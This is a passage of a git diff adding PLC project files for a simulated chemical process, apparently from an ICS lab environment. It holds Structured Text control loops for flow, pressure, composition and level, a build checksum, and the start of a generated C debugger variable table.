pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, 